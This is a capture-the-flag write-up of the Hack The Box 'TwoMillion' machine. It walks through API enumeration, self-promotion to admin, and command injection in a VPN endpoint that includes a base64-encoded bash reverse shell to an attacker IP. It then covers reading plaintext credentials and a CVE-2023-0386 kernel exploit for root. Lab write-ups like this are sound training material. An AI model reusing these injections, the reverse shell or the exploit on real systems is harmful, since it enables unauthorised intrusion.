- Published on
Hack-The-Box - Easy - Linux - TwoMillion
- AUTHORS

- NAME
- Yasir Mehmood

Two Million box was released to celebrate the milestone of two million users on Hack-The-Box. This box involves exploiting an older version of the Hack-The-Box dashboard, generating an invite code, registering using the invite code, and escalating privileges to www-data. Further privilege escalation is achieved by leveraging the environment variable file from www-data to admin. Finally, root access is obtained by exploiting the outdated kernel of the machine using the CVE-2023-0386 vulnerability in OverlayFS/FUSE.
| Machine Name | Platform | IP-Address | Difficulty | Machine Domain |
|---|---|---|---|---|
| TwoMillion | Linux | 10.10.11.211 | Easy | 2million.htb |
Enumeration
- I performed an initial Nmap scan and got the following results:
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ nmap -sC -sV -vv 10.10.11.221
PORT STATE SERVICE REASON VERSION
22/tcp open SSH syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| SSH-hostkey:
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http? syn-ack
Service Info: OS: Linux; CPE: cpe:/o:Linux:linux_kernel
- Upon opening the website at port
80. I was redirected to the2million.htbdomain. - So I added the domain
2million.htbto/etc/hostsfile on the attacker system. - Upon revisitng the URL there is an older version of Hack-The-Box Official Website.

- On inspecting source code in the
/inviteendpoint. There is a minified Javascript (JS) file.

- After clicking on
auto-decode, It gave back the code in more human readable format.

- I then sent a request to the endpoint
/api/v1/invite/how/to/generateand got following response.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 249 0 249 0 0 265 0 --:--:-- --:--:-- --:--:-- 265
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
- The response says that data is encrypted in
ROT13, On decryption, the following was received.

- I used this information to generate an invite code for further progress.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 91 0 91 0 0 134 0 --:--:-- --:--:-- --:--:-- 134
{
"0": 200,
"success": 1,
"data": {
"code": "VTBJR1EtQ1JPQlktMFRRTFktWFdVSko=",
"format": "encoded"
}
}
- Upon first look, the encoding looked like
base64so I decoded it using the following method.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ echo "VTBJR1EtQ1JPQlktMFRRTFktWFdVSko=" | base64 -d
U0IGQ-CROBY-0TQLY-XWUJJ
- I then used this invite code to register an Account with the WEB application.

- After logging in with the same credentials, I was redirected to the home page.

- Most of the pages redirected me to
/accesswhich was a VPN download page. - I opened
Burp Suiteand intercepted the request while downloading the Connection Pack.
GET /api/v1/user/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=pg6a4v8pzabqupin2hte5fnces
Upgrade-Insecure-Requests: 1
- Upon sending a request to
/api/v1, I received a response containing all the endpoints.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" | jq
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
- Using this new found information, I tried to update my user to an admin using
updateendpoint. - However the following response was received, which indicated the
information disclosurevulnerability.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 53 0 53 0 0 50 0 --:--:-- 0:00:01 --:--:-- 50
{
"status": "danger",
"message": "Invalid content type."
}
- I then changed the
content typetoapplication/jsononly to find that theemailparameter was also required.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 0 56 0 0 1 0 --:--:-- 0:00:45 --:--:-- 15
{
"status": "danger",
"message": "Missing parameter: email"
}
- I then added the
emailparameter in thedataof thePUTrequest. - But once again I was told that
is_adminparameter is missing.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" --data '{"email": "test@2million.htb"}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 89 0 59 100 30 35 18 0:00:01 0:00:01 --:--:-- 53
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
- I then also added the
is_adminparameter in the data of the request. - But was told that the parameter can only have binary value.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" --data '{"email": "test@2million.htb", "is_admin": "true"}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 126 0 76 100 50 34 22 0:00:02 0:00:02 --:--:-- 56
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
- After correctly configuring all required parameters, I was successfully able to modify my user to be an
adminuser.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" --data '{"email": "test@2million.htb", "is_admin": '1'}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 89 0 44 100 45 75 77 --:--:-- --:--:-- --:--:-- 153
{
"id": 16,
"username": "testuser",
"is_admin": 1
}
- I then performed a double check to make sure that the current user was now an
adminuser. - The response from the website confirmed the modification.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl http://2million.htb/api/v1/admin/auth --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16 0 16 0 0 12 0 --:--:-- 0:00:01 --:--:-- 12
{
"message": true
}
- I then used this privilege to generate an admin VPN configuration file.
- But the response told that the
usernameparameter was required for config generation.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 59 0 59 0 0 54 0 --:--:-- 0:00:01 --:--:-- 55
{
"status": "danger",
"message": "Missing parameter: username"
}
- I then added
usernamein data field of request and successfully generatedadmin's VPN configuration file.

- Since it was sending it through commands, it was indicative of being run from
execorsystemPHP commands. - Which made it possible to inject commands by using
;id;or;whoami;after the username.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" --data '{"username": "testuser;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- I then used this vulnerability to try and get a reverse shell as the
www-datauser on target system.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=pg6a4v8pzabqupin2hte5fnces" --header "Content-Type: application/json" --data '{"username": "testuser;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NC80NDQ0IDA+JjEK | base64 -d | bash;"}'

- Upon enumeration of WEB directory, I found a file named
.env. - The file in question had some credentials stored inside it in plaintext format.
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
- I then confirmed the user by looking at the
passwdfile where there was another user calledadmin.
User Flag
- I then used the newly found credentials to authenticate to target host as
adminusing theirDB_PASSWORD.

- After login, I got the user flag in the home directory of the
adminuser. - I then started performing post-exploit enumeration and found a mail to the admin in
/var/maildirectory.
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our WEB host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
- I then enumerated for information regarding the OS and Kernel after viewing the contents of the mail.
- After a bit of enumeration, I found that the system is vulnerable to a OverlayFS CVE (CVE-ID:
CVE-2023-0386).
Root Flag
- I then copied over the exploit in form of ZIP file to target host using the SCP utility from SSH toolkit.
┌──(kali@kali)-[~/Desktop/htb/twomillion]
└─$ scp cve.zip admin@2million.htb:/tmp
admin@2million.htb's password:
cve.zip 100% 460KB 57.6KB/s 00:07
- I then extracted the contents of the transferred ZIP file on the target host.
- And started compiling the exploit binary using the following command sequence.
admin@2million:/tmp/CVE-2023-0386$ make all
admin@2million:/tmp/CVE-2023-0386$ ./fuse ovlcap/lower ./gc &
[1] 1764
[+] len of gc: 0x3ee0
- After successfully compiling and executing the exploit binary
exp, it escalated my privileges to therootuser.
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 May 23 12:30 .
drwxr-xr-x 6 root root 4096 May 23 12:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386#
- The Non-Seasonal - TwoMillion Machine on Hack-The-Box was now complete.
